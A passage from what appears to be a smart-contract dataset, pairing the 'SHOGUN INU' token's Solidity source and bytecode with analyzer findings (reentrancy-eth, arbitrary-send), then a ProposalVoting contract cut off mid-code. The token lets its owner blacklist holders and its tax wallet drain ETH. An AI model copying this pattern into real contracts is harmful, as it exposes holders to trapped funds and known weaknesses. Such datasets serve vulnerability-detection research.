function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SHOGUN is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"SHOGUN INU";
string public constant symbol = unicode"SHOGUN";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _TaxAdd;
address public uniswapV2Pair;
uint public _buyFee = 12;
uint public _sellFee = 12;
uint private _feeRate = 15;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _extraSelltaxAmount;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_TaxAdd = TaxAdd;
_owned[_msgSender()] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
_isExcludedFromFee[address(0xdead)] = true;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if (block.timestamp == _launchedAt) _isBot[to] = true;
require(amount <= _maxBuyAmount);
require((amount + balanceOf(address(to))) <= _maxHeldTokens);
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds));
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_TaxAdd.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy, amount);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy, uint amount) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(amount > _extraSelltaxAmount) {
fee += 8;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 20000000000 * 10**9;
_maxHeldTokens = 20000000000 * 10**9;
_extraSelltaxAmount = 8000000000 * 10**9;
}
function setMaxTxn(uint maxbuy, uint maxheld, uint extraSell) external {
require(_msgSender() == _TaxAdd);
require(maxbuy >= 20000000000 * 10**9);
require(maxheld >= 20000000000 * 10**9);
_maxBuyAmount = maxbuy;
_maxHeldTokens = maxheld;
_extraSelltaxAmount = extraSell;
}
function manualswap() external {
require(_msgSender() == _TaxAdd);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _TaxAdd);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _TaxAdd);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _TaxAdd);
require(buy < 15 && sell < 15 && buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
require(_msgSender() == _TaxAdd);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _TaxAdd);
_TaxAdd = payable(newAddress);
emit TaxAddUpdated(_TaxAdd);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _TaxAdd);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101fd5760003560e01c80636fc3eaec1161010d578063a9059cbb116100a0578063db92dbb61161006f578063db92dbb6146105c2578063dcb0e0ad146105d7578063dd62ed3e146105f7578063e8078d941461063d578063fb4498e81461065257600080fd5b8063a9059cbb14610558578063b515566a14610578578063c3c8cd8014610598578063c9567bf9146105ad57600080fd5b8063763463fc116100dc578063763463fc146104d25780638da5cb5b146104e857806394b8d8f21461050657806395d89b411461052657600080fd5b80636fc3eaec1461046857806370a082311461047d578063715018a61461049d57806373f54a11146104b257600080fd5b806327f3a72a116101905780633bbac5791161015f5780633bbac579146103c357806340b9a54b146103fc57806345596e2e1461041257806349bd5a5e14610432578063590f897e1461045257600080fd5b806327f3a72a14610351578063313ce5671461036657806331c2d8471461038d57806332d873d8146103ad57600080fd5b8063104ce66d116101cc578063104ce66d146102c757806318160ddd146102ff5780631940d0201461031b57806323b872dd1461033157600080fd5b80630492f0551461020957806306fdde0314610232578063095ea7b3146102755780630b78f9c0146102a557600080fd5b3661020457005b600080fd5b34801561021557600080fd5b5061021f600d5481565b6040519081526020015b60405180910390f35b34801561023e57600080fd5b506102686040518060400160405280600a81526020016953484f47554e20494e5560b01b81525081565b604051610229919061193e565b34801561028157600080fd5b506102956102903660046119b8565b610672565b6040519015158152602001610229565b3480156102b157600080fd5b506102c56102c03660046119e4565b610688565b005b3480156102d357600080fd5b506008546102e7906001600160a01b031681565b6040516001600160a01b039091168152602001610229565b34801561030b57600080fd5b50683635c9adc5dea0000061021f565b34801561032757600080fd5b5061021f600e5481565b34801561033d57600080fd5b5061029561034c366004611a06565b610722565b34801561035d57600080fd5b5061021f610776565b34801561037257600080fd5b5061037b600981565b60405160ff9091168152602001610229565b34801561039957600080fd5b506102c56103a8366004611a5d565b610786565b3480156103b957600080fd5b5061021f60105481565b3480156103cf57600080fd5b506102956103de366004611b22565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561040857600080fd5b5061021f600a5481565b34801561041e57600080fd5b506102c561042d366004611b46565b610812565b34801561043e57600080fd5b506009546102e7906001600160a01b031681565b34801561045e57600080fd5b5061021f600b5481565b34801561047457600080fd5b506102c56108b3565b34801561048957600080fd5b5061021f610498366004611b22565b6108e0565b3480156104a957600080fd5b506102c56108fb565b3480156104be57600080fd5b506102c56104cd366004611b22565b61096f565b3480156104de57600080fd5b5061021f600f5481565b3480156104f457600080fd5b506000546001600160a01b03166102e7565b34801561051257600080fd5b506011546102959062010000900460ff1681565b34801561053257600080fd5b506102686040518060400160405280600681526020016529a427a3aaa760d11b81525081565b34801561056457600080fd5b506102956105733660046119b8565b6109dd565b34801561058457600080fd5b506102c5610593366004611a5d565b6109ea565b3480156105a457600080fd5b506102c5610b03565b3480156105b957600080fd5b506102c5610b39565b3480156105ce57600080fd5b5061021f610be1565b3480156105e357600080fd5b506102c56105f2366004611b6d565b610bf9565b34801561060357600080fd5b5061021f610612366004611b8a565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064957600080fd5b506102c5610c6c565b34801561065e57600080fd5b506102c561066d366004611bc3565b610fb3565b600061067f33848461100d565b50600192915050565b6008546001600160a01b0316336001600160a01b0316146106a857600080fd5b600f821080156106b85750600f81105b80156106c55750600a5482105b80156106d25750600b5481105b6106db57600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b600061072f848484611131565b6001600160a01b038416600090815260036020908152604080832033845290915281205461075e908490611c05565b905061076b85338361100d565b506001949350505050565b6000610781306108e0565b905090565b6008546001600160a01b0316336001600160a01b0316146107a657600080fd5b60005b815181101561080e576000600560008484815181106107ca576107ca611c1c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061080681611c32565b9150506107a9565b5050565b6008546001600160a01b0316336001600160a01b03161461083257600080fd5b600081116108775760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064015b60405180910390fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b0316146108d357600080fd5b476108dd816115f2565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146109255760405162461bcd60e51b815260040161086e90611c4d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b03161461098f57600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d6906020016108a8565b600061067f338484611131565b6000546001600160a01b03163314610a145760405162461bcd60e51b815260040161086e90611c4d565b60005b815181101561080e5760095482516001600160a01b0390911690839083908110610a4357610a43611c1c565b60200260200101516001600160a01b031614158015610a94575060075482516001600160a01b0390911690839083908110610a8057610a80611c1c565b60200260200101516001600160a01b031614155b15610af157600160056000848481518110610ab157610ab1611c1c565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610afb81611c32565b915050610a17565b6008546001600160a01b0316336001600160a01b031614610b2357600080fd5b6000610b2e306108e0565b90506108dd8161162c565b6000546001600160a01b03163314610b635760405162461bcd60e51b815260040161086e90611c4d565b60115460ff1615610bb05760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161086e565b6011805460ff19166001179055426010556801158e460913d00000600d819055600e55676f05b59d3b200000600f55565b600954600090610781906001600160a01b03166108e0565b6008546001600160a01b0316336001600160a01b031614610c1957600080fd5b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb906020016108a8565b6000546001600160a01b03163314610c965760405162461bcd60e51b815260040161086e90611c4d565b60115460ff1615610ce35760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161086e565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610d203082683635c9adc5dea0000061100d565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d5e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d829190611c82565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dcf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df39190611c82565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610e40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e649190611c82565b600980546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610e94816108e0565b600080610ea96000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610f11573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f369190611c9f565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610f8f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080e9190611ccd565b6008546001600160a01b0316336001600160a01b031614610fd357600080fd5b6801158e460913d00000831015610fe957600080fd5b6801158e460913d00000821015610fff57600080fd5b600d92909255600e55600f55565b6001600160a01b03831661106f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161086e565b6001600160a01b0382166110d05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161086e565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff1615801561117357506001600160a01b03821660009081526005602052604090205460ff16155b801561118f57503360009081526005602052604090205460ff16155b61119857600080fd5b6001600160a01b0383166111fc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161086e565b6001600160a01b03821661125e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161086e565b600081116112c05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161086e565b600080546001600160a01b038581169116148015906112ed57506000546001600160a01b03848116911614155b15611593576009546001600160a01b03858116911614801561131d57506007546001600160a01b03848116911614155b801561134257506001600160a01b03831660009081526004602052604090205460ff16155b1561147e5760115460ff166113995760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161086e565b6010544214156113c7576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600d548211156113d657600080fd5b600e546113e2846108e0565b6113ec9084611cea565b11156113f757600080fd5b6001600160a01b03831660009081526006602052604090206001015460ff1661145f576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b506001600160a01b038216600090815260066020526040902042905560015b601154610100900460ff16158015611498575060115460ff165b80156114b257506009546001600160a01b03858116911614155b15611593576114c242600f611cea565b6001600160a01b038516600090815260066020526040902054106114e557600080fd5b60006114f0306108e0565b9050801561157c5760115462010000900460ff161561157357600c5460095460649190611525906001600160a01b03166108e0565b61152f9190611d02565b6115399190611d21565b81111561157357600c546009546064919061155c906001600160a01b03166108e0565b6115669190611d02565b6115709190611d21565b90505b61157c8161162c565b47801561158c5761158c476115f2565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806115d557506001600160a01b03841660009081526004602052604090205460ff165b156115de575060005b6115eb85858584866117a0565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561080e573d6000803e3d6000fd5b6011805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061167057611670611c1c565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ed9190611c82565b8160018151811061170057611700611c1c565b6001600160a01b039283166020918202929092010152600754611726913091168461100d565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac9479061175f908590600090869030904290600401611d43565b600060405180830381600087803b15801561177957600080fd5b505af115801561178d573d6000803e3d6000fd5b50506011805461ff001916905550505050565b60006117ad8383866117c3565b90506117bb868686846117ff565b505050505050565b60008084156117f75783156117db5750600a546117f7565b50600b54600f548311156117f7576117f4600882611cea565b90505b949350505050565b60008061180c84846118dc565b6001600160a01b0388166000908152600260205260409020549193509150611835908590611c05565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611865908390611cea565b6001600160a01b03861660009081526002602052604090205561188781611910565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118cc91815260200190565b60405180910390a3505050505050565b6000808060646118ec8587611d02565b6118f69190611d21565b905060006119048287611c05565b96919550909350505050565b3060009081526002602052604090205461192b908290611cea565b3060009081526002602052604090205550565b600060208083528351808285015260005b8181101561196b5785810183015185820160400152820161194f565b8181111561197d576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108dd57600080fd5b80356119b381611993565b919050565b600080604083850312156119cb57600080fd5b82356119d681611993565b946020939093013593505050565b600080604083850312156119f757600080fd5b50508035926020909101359150565b600080600060608486031215611a1b57600080fd5b8335611a2681611993565b92506020840135611a3681611993565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a7057600080fd5b823567ffffffffffffffff80821115611a8857600080fd5b818501915085601f830112611a9c57600080fd5b813581811115611aae57611aae611a47565b8060051b604051601f19603f83011681018181108582111715611ad357611ad3611a47565b604052918252848201925083810185019188831115611af157600080fd5b938501935b82851015611b1657611b07856119a8565b84529385019392850192611af6565b98975050505050505050565b600060208284031215611b3457600080fd5b8135611b3f81611993565b9392505050565b600060208284031215611b5857600080fd5b5035919050565b80151581146108dd57600080fd5b600060208284031215611b7f57600080fd5b8135611b3f81611b5f565b60008060408385031215611b9d57600080fd5b8235611ba881611993565b91506020830135611bb881611993565b809150509250929050565b600080600060608486031215611bd857600080fd5b505081359360208301359350604090920135919050565b634e487b7160e01b600052601160045260246000fd5b600082821015611c1757611c17611bef565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611c4657611c46611bef565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611c9457600080fd5b8151611b3f81611993565b600080600060608486031215611cb457600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611cdf57600080fd5b8151611b3f81611b5f565b60008219821115611cfd57611cfd611bef565b500190565b6000816000190483118215151615611d1c57611d1c611bef565b500290565b600082611d3e57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d935784516001600160a01b031683529383019391830191600101611d6e565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212202920e392a3a852ffab72a61e6dd76d014e8182ce9e704b3260835623de238f6e64736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,432 |
0xe0a9d8ecaca23002e5c946d359945f6e03115a27
|
pragma solidity 0.4.25;
// File: contracts/contract_address_locator/interfaces/IContractAddressLocator.sol
/**
* @title Contract Address Locator Interface.
*/
interface IContractAddressLocator {
/**
* @dev Get the contract address mapped to a given identifier.
* @param _identifier The identifier.
* @return The contract address.
*/
function getContractAddress(bytes32 _identifier) external view returns (address);
/**
* @dev Determine whether or not a contract address relates to one of the identifiers.
* @param _contractAddress The contract address to look for.
* @param _identifiers The identifiers.
* @return A boolean indicating if the contract address relates to one of the identifiers.
*/
function isContractAddressRelates(address _contractAddress, bytes32[] _identifiers) external view returns (bool);
}
// File: contracts/contract_address_locator/ContractAddressLocatorHolder.sol
/**
* @title Contract Address Locator Holder.
* @dev Hold a contract address locator, which maps a unique identifier to every contract address in the system.
* @dev Any contract which inherits from this contract can retrieve the address of any contract in the system.
* @dev Thus, any contract can remain "oblivious" to the replacement of any other contract in the system.
* @dev In addition to that, any function in any contract can be restricted to a specific caller.
*/
contract ContractAddressLocatorHolder {
bytes32 internal constant _IAuthorizationDataSource_ = "IAuthorizationDataSource";
bytes32 internal constant _ISGNConversionManager_ = "ISGNConversionManager" ;
bytes32 internal constant _IModelDataSource_ = "IModelDataSource" ;
bytes32 internal constant _IPaymentHandler_ = "IPaymentHandler" ;
bytes32 internal constant _IPaymentManager_ = "IPaymentManager" ;
bytes32 internal constant _IPaymentQueue_ = "IPaymentQueue" ;
bytes32 internal constant _IReconciliationAdjuster_ = "IReconciliationAdjuster" ;
bytes32 internal constant _IIntervalIterator_ = "IIntervalIterator" ;
bytes32 internal constant _IMintHandler_ = "IMintHandler" ;
bytes32 internal constant _IMintListener_ = "IMintListener" ;
bytes32 internal constant _IMintManager_ = "IMintManager" ;
bytes32 internal constant _IPriceBandCalculator_ = "IPriceBandCalculator" ;
bytes32 internal constant _IModelCalculator_ = "IModelCalculator" ;
bytes32 internal constant _IRedButton_ = "IRedButton" ;
bytes32 internal constant _IReserveManager_ = "IReserveManager" ;
bytes32 internal constant _ISagaExchanger_ = "ISagaExchanger" ;
bytes32 internal constant _ISogurExchanger_ = "ISogurExchanger" ;
bytes32 internal constant _SgnToSgrExchangeInitiator_ = "SgnToSgrExchangeInitiator" ;
bytes32 internal constant _IMonetaryModel_ = "IMonetaryModel" ;
bytes32 internal constant _IMonetaryModelState_ = "IMonetaryModelState" ;
bytes32 internal constant _ISGRAuthorizationManager_ = "ISGRAuthorizationManager";
bytes32 internal constant _ISGRToken_ = "ISGRToken" ;
bytes32 internal constant _ISGRTokenManager_ = "ISGRTokenManager" ;
bytes32 internal constant _ISGRTokenInfo_ = "ISGRTokenInfo" ;
bytes32 internal constant _ISGNAuthorizationManager_ = "ISGNAuthorizationManager";
bytes32 internal constant _ISGNToken_ = "ISGNToken" ;
bytes32 internal constant _ISGNTokenManager_ = "ISGNTokenManager" ;
bytes32 internal constant _IMintingPointTimersManager_ = "IMintingPointTimersManager" ;
bytes32 internal constant _ITradingClasses_ = "ITradingClasses" ;
bytes32 internal constant _IWalletsTradingLimiterValueConverter_ = "IWalletsTLValueConverter" ;
bytes32 internal constant _BuyWalletsTradingDataSource_ = "BuyWalletsTradingDataSource" ;
bytes32 internal constant _SellWalletsTradingDataSource_ = "SellWalletsTradingDataSource" ;
bytes32 internal constant _WalletsTradingLimiter_SGNTokenManager_ = "WalletsTLSGNTokenManager" ;
bytes32 internal constant _BuyWalletsTradingLimiter_SGRTokenManager_ = "BuyWalletsTLSGRTokenManager" ;
bytes32 internal constant _SellWalletsTradingLimiter_SGRTokenManager_ = "SellWalletsTLSGRTokenManager" ;
bytes32 internal constant _IETHConverter_ = "IETHConverter" ;
bytes32 internal constant _ITransactionLimiter_ = "ITransactionLimiter" ;
bytes32 internal constant _ITransactionManager_ = "ITransactionManager" ;
bytes32 internal constant _IRateApprover_ = "IRateApprover" ;
bytes32 internal constant _SGAToSGRInitializer_ = "SGAToSGRInitializer" ;
IContractAddressLocator private contractAddressLocator;
/**
* @dev Create the contract.
* @param _contractAddressLocator The contract address locator.
*/
constructor(IContractAddressLocator _contractAddressLocator) internal {
require(_contractAddressLocator != address(0), "locator is illegal");
contractAddressLocator = _contractAddressLocator;
}
/**
* @dev Get the contract address locator.
* @return The contract address locator.
*/
function getContractAddressLocator() external view returns (IContractAddressLocator) {
return contractAddressLocator;
}
/**
* @dev Get the contract address mapped to a given identifier.
* @param _identifier The identifier.
* @return The contract address.
*/
function getContractAddress(bytes32 _identifier) internal view returns (address) {
return contractAddressLocator.getContractAddress(_identifier);
}
/**
* @dev Determine whether or not the sender relates to one of the identifiers.
* @param _identifiers The identifiers.
* @return A boolean indicating if the sender relates to one of the identifiers.
*/
function isSenderAddressRelates(bytes32[] _identifiers) internal view returns (bool) {
return contractAddressLocator.isContractAddressRelates(msg.sender, _identifiers);
}
/**
* @dev Verify that the caller is mapped to a given identifier.
* @param _identifier The identifier.
*/
modifier only(bytes32 _identifier) {
require(msg.sender == getContractAddress(_identifier), "caller is illegal");
_;
}
}
// File: contracts/sogur/interfaces/ISGRAuthorizationManager.sol
/**
* @title SGR Authorization Manager Interface.
*/
interface ISGRAuthorizationManager {
/**
* @dev Determine whether or not a user is authorized to buy SGR.
* @param _sender The address of the user.
* @return Authorization status.
*/
function isAuthorizedToBuy(address _sender) external view returns (bool);
/**
* @dev Determine whether or not a user is authorized to sell SGR.
* @param _sender The address of the user.
* @return Authorization status.
*/
function isAuthorizedToSell(address _sender) external view returns (bool);
/**
* @dev Determine whether or not a user is authorized to transfer SGR to another user.
* @param _sender The address of the source user.
* @param _target The address of the target user.
* @return Authorization status.
*/
function isAuthorizedToTransfer(address _sender, address _target) external view returns (bool);
/**
* @dev Determine whether or not a user is authorized to transfer SGR from one user to another user.
* @param _sender The address of the custodian user.
* @param _source The address of the source user.
* @param _target The address of the target user.
* @return Authorization status.
*/
function isAuthorizedToTransferFrom(address _sender, address _source, address _target) external view returns (bool);
/**
* @dev Determine whether or not a user is authorized for public operation.
* @param _sender The address of the user.
* @return Authorization status.
*/
function isAuthorizedForPublicOperation(address _sender) external view returns (bool);
}
// File: contracts/voting/ProposalVoting.sol
/**
* @title Proposal Voting.
*/
contract ProposalVoting is ContractAddressLocatorHolder {
string public constant VERSION = "1.0.0";
string public description;
uint256 public choicesCount;
mapping(address => uint256) public votes;
address[] public voters;
uint256 public startBlock;
uint256 public endBlock;
event ProposalVoteCasted(address indexed voter, uint256 choice);
/*
* @dev Create the contract.
* @param _contractAddressLocator The contract address locator.
* @param _description The voting description.
* @param _startBlock The voting start block.
* @param _endBlock The voting end block.
* @param _choicesCount Choices count.
*/
constructor(IContractAddressLocator _contractAddressLocator, string _description, uint256 _startBlock, uint256 _endBlock, uint256 _choicesCount) ContractAddressLocatorHolder(_contractAddressLocator) public
{
require(_startBlock > block.number, "invalid start block");
require(_endBlock > _startBlock, "invalid end block");
require(_choicesCount <= 4, "invalid choices count");
bytes memory _bytes = bytes(_description);
require(_bytes.length != 0, "invalid empty description");
description = _description;
startBlock = _startBlock;
endBlock = _endBlock;
choicesCount = _choicesCount;
}
/**
* @dev Return the contract which implements the ISGRAuthorizationManager interface.
*/
function getSGRAuthorizationManager() public view returns (ISGRAuthorizationManager) {
return ISGRAuthorizationManager(getContractAddress(_ISGRAuthorizationManager_));
}
/**
* @dev throw if called when not active.
*/
modifier onlyIfActive() {
require(isActive(), "voting proposal not active");
_;
}
/**
* @dev throw if called when user already voted.
*/
modifier onlyIfUserVoteAbsent() {
require(votes[msg.sender] == 0, "voting proposal already voted");
_;
}
/**
* @dev throw if called with invalid choice index.
*/
modifier onlyIfValidChoiceIndex(uint256 _choiceIndex) {
require(_choiceIndex < choicesCount, "invalid voting choice index");
_;
}
/**
* @dev throw if called when user is not authorized.
*/
modifier onlyIfAuthorizedUser() {
ISGRAuthorizationManager sgrAuthorizationManager = getSGRAuthorizationManager();
bool senderIsAuthorized = sgrAuthorizationManager.isAuthorizedForPublicOperation(msg.sender);
